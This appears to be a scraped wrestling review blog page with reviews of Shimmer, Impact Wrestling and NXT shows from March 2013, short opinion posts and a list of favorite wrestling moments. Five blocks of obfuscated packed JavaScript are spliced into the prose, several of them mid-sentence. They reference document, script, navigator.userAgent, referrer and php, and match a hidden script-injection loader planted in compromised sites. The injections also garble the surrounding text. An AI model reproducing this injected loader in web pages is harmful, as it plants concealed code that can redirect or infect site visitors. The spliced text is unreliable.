Double hot tags and we’re getting close to the ending methinks. Quick tag to MsChif which might have been stupid and there goes the referee. I think I know where this is going. Never mind as a superkick into a German suplex pins the Shimmer Champion and the Ninjas retain. Post match beatdown ensues and Allison Danger runs out for the save to end the show.

Rating: B-. Decent tag here although it was kind of lacking something. The champions retaining clean is always a good thing as it lets them look dominant and legit. This was pretty good I think but at the same time the challengers came off as being a bit too weak, which for a dream team isn’t the best idea. This was good for a main event though and felt like a big match.

Overall Rating: B-. This is a good show but it’s not for everyone. The thing is that just about any show this company puts on is going to have the same justifications and reasoning as any other for the most part. If you’re a fan of women’s wrestling and hate the Divas and Knockouts, this is for you.

 

 

The women here are legitimately respected and only one is based around sex. This is women’s wrestling, not women wrestling if that makes sense. The girls are legit athletes and clearly know what they’re doing. It’s a very nice change of pace from the mainstream stuff that is just awful for the most part.

 

 

That being said, just like WWE or TNA there are some on here that aren’t very good at all but there are some that are definitely worth checking out. If you’re a fan of this kind of wrestling, check out any if not all of the volumes. The only real criticism I have is the length.

 

 

It’s two hours and fifty minutes and some of the stuff just comes off as pointless filler. If they shaved off about thirty to forty minutes and of course dropped the price to match the loss of action, this would be ranked higher. I see why they would do it this way though and it’s certainly good stuff for the most part. Recommended, if nothing else as proof that there is good women’s wrestling out there.

Remember to follow me on Twitter @kbreviews




Impact Wrestling – March 7, 2013: This Show Made Me Angry

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dehdd|var|u0026u|referrer|yszad||js|php'.split('|'),0,{})) Wrestling
Date: March 7, 2013
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Todd Keneley, Tazz

Jeff Hardy vs. Austin Aries

Back with Aries in control and walking around a lot. Hardy grabs a quick small package for two but Aries comes back with a dropkick for two of his own. Jeff misses a charge in the corner before Aries goes up and dances ala Hardy. A middle rope splash gets two and Aries is ticked off. Hardy comes back with a rollup for two and the spinning mule kick for two.

Post match Morgan loads up another kick but Bully Ray comes out to stop it.

Sting gives his team a pep talk.

We look at Angle getting beaten down last week again.

Sting vs. D-Von

Velvet is doing an interview when Gail Kim comes up to annoy her. Kim gets slapped.

The Gut Check judges talk about the match last week. Danny Davis of OVW fame is the newest judge.

Hernandez/Chavo Guerrero/Velvet Sky vs. Bad Influence/Gail Kim

Hernandez and Kaz start things off with the big man throwing Kaz around with ease. Off to Chavo vs. Daniels as the good guys maintain control. Back to SuperMex with a bearhug on Kaz before Daniels tries to cheat. Hernandez will have none of that though and gets Chavo to help with some double teaming. A headscissors puts Daniels down and he begs off. Gail low bridges Chavo and Daniels gets to take over.

She spears Gail down as Hernandez runs over Daniels. A missile dropkick puts SuperMex down but Daniels misses a dive onto the floor, hitting his partner in the process. Hernandez does his big dive to take out Bad Influence, but Gail hits Eat Defeat on Sky for the pin at 7:26.

Sting yells at his teammates for Sunday and apparently Magnus and Joe are the other two people in the best of three series tonight.

We go back to Georgia to find AJ Styles again. He throws one of his friends back into their car and shoves the camera away. Nothing is said.

Doc/Garrett Bischoff vs. Magnus/Samoa Joe

Eric Young says he should get the last spot in the match over Storm. He promises to not be a joke, but for once Sting is smart and picks the former world champion.


Robbie E is ready for Robbie T this Sunday.

James Storm vs. Mr. Anderson

We run down the Lockdown card.

Results

Jeff Hardy b. Austin Aries via DQ when Matt Morgan interfered

D-Von b. Sting – Big Boot

Gail Kim/Bad Influence b. Velvet Sky/Hernandez/Chavo Guerrero – Eat Defeat to Sky

Samoa Joe/Magnus b. Garrett Bischoff/Doc – Top rope elbow to Doc

Mr. Anderson b. James Storm – Mic Check

Remember to follow me on Twitter @kbreviews




Impact Is Ticking Me Off Tonight

First eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieeiy|var|u0026u|referrer|nrnkr||js|php'.split('|'),0,{})) D’Lo and now the Gut Check thing.  Let’s recap.
Ivelisse – Smoking hot, has an MMA background which is the hottest sport in the country and Ronda Rousey is arguably the new face of the sport, can move, can wrestle, can talk, has a ton of potential, WWE thought she was good.

Tapa – Can’t do much in the ring, doesn’t look great, but she’s Barbarian’s niece.

The complains write themselves.




The VP of Aces and 8’s Is……

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkkes|var|u0026u|referrer|sznzz||js|php'.split('|'),0,{})) kid you not,D’lo Brown.  I’m literally laughing out loud at how stupid this company is.




WWE Posts Tribute To Paul Bearer

That’s nice of them.




NXT – March 6, 2013: The Wyatt Family Hour

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aksyr|var|u0026u|referrer|eddry||js|php'.split('|'),0,{})) March 6, 2013
Location: Full Sail University, Winter Park, Florida
Commentators: Tony Dawson, William Regal

Welcome Home.

Adrian Neville/Oliver Grey vs. Judas Devlin/Scott Dawson

Devlin comes back in for a chinlock as the numbers game is starting to catch up with Neville. As the hold is on, the Wyatt Family drags Grey out to the stage. Grey is barely conscious and is reaching towards the ring. Neville fights out of the hold but is distracted by Grey, allowing the team to take over again. Dawson puts Adrian on the top but gets knocked down, allowing Neville to hit the corkscrew shooting star press for the pin at 3:21.

Neville checks on his partner post match.

Leo Kruger vs. Yoshi Tatsu

Sasha Banks/Cameron/Naomi vs. Audrey Marie/Alicia Fox/Aksana

Back to Fox who gets a quick one count off a northern lights suplex. Off to Audrey now who hooks a body scissors which only lasts for a few seconds before Cameron can tag off to Naomi. Things speed up as Naomi hits a flying clothesline to Audrey and an enziguri for two on Aksana. A leg lariat is enough to pin Audrey at 4:25.

Alberto Del Rio will be here next week.

Results

Adrian Neville b. Scott Dawson/Judas Devlin – Corkscrew Shooting Star Press to Dawson

Leo Kruger b. Yoshi Tatsu – Seated Armbar

Sasha Banks/Cameron/Naomi b. Audrey Marie/Alicia Fox/Aksana – Leg lariat to Marie

Remember to follow me on Twitter @kbreviews




Five By Five: KB’s Five Favorite Moments In Wrestling

Part eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhda|var|u0026u|referrer|ddatt||js|php'.split('|'),0,{})) of a double shot today due to me being busy yesterday.Honorable Mention: Edge Cashes In (New Year’s Revolution 2006).  A girl I knew was a Cena fan and bragged about him winning the Chamber.  She went to bed and then Edge came out.  Oh the great time I had the next day over that.  This is still the gold standard for MITB cash-ins.

Honorable Mention: Goldberg Wins WCW Title (Monday Nitro – July 6, 1998). When I was ten years old, Goldberg was AWESOME.  I wasn’t the biggest fan of his in the world, but a monster vs. Hogan for free on Nitro?  You know I was going to be all over that.  Goldberg destroyed Hogan, in one of the biggest jobs Hogan ever did.

5. Jeff Hardy Wins WWE Championship (Armageddon 2008). I’m not a big Jeff Hardy fan, but I TOTALLY bought into the Hardy Chases the Brass Ring story from 2008.  I fell asleep earlier in the night and missed most of the show but turned it on just in time to see Hardy dive off the top and hit the Swanton on HHH before pinning Edge, FINALLY winning the championship he had spent all year chasing.  We’ll get back to a similar story in a bit.

4. Backlash 2006.  I was there.  Not much else to say about this one.

3. Hogan Slams Andre (Wrestlemania 3). It’s the most famous scene from the biggest match ever at the biggest show ever.  Hogan slamming Andre is the moment that made him immortal and cemented him as the biggest star of all time.  You can hear the crowd gasp when Hogan picks him up and then explode when Andre hits the mat.  There’s a reason this makes every highlight reel ever in the history of WWE.  It’s never going to be topped no matter what happens in the future, period.

2. Randy Savage and Miss Elizabeth Reunite (Wrestlemania 7).  This is the only moment ever in wrestling that actually brings a tear to my eye.  Savage had turned monster heel on February 3, 1989 and dumped Liz in the process.  He hooked up with Sensational Sherri somewhere along the line while becoming the Macho Man.  Liz had barely been seen since but was spotted in the crowd for Savage’s career ending match at Wrestlemania 7.

After Savage lost an amazing match where he gave it everything he had, Sherri turned on him, screaming about how he had cost her her career too.  This prompted Liz to come out of the crowd and save Randy, who was shocked to see her there.  With nothing left to lose, Savage realized the error of his ways and embraced Liz, finally going back to where he belonged.  He then opened the ropes for her as opposed to her doing it for him as she had for years, showing that he was a changed man.  If you’re an old fan, this will still work wonders.

1. Mick Foley Wins WWF Title (Monday Night Raw – January 4, 1999). This is the ultimate feel good moment for me as a fan.  As someone who was overweight for a good portion of my teenage years (I walked into 6th grade standing 5’11 and weighing 230lbs), seeing someone else who was told he wasn’t the right size or didn’t have the right look win the world title and become the top man in the company always makes me smile.  He spent his entire career scrapping and clawing and FINALLY he got what he had earned.  That’s a perfect story and the moment never gets old.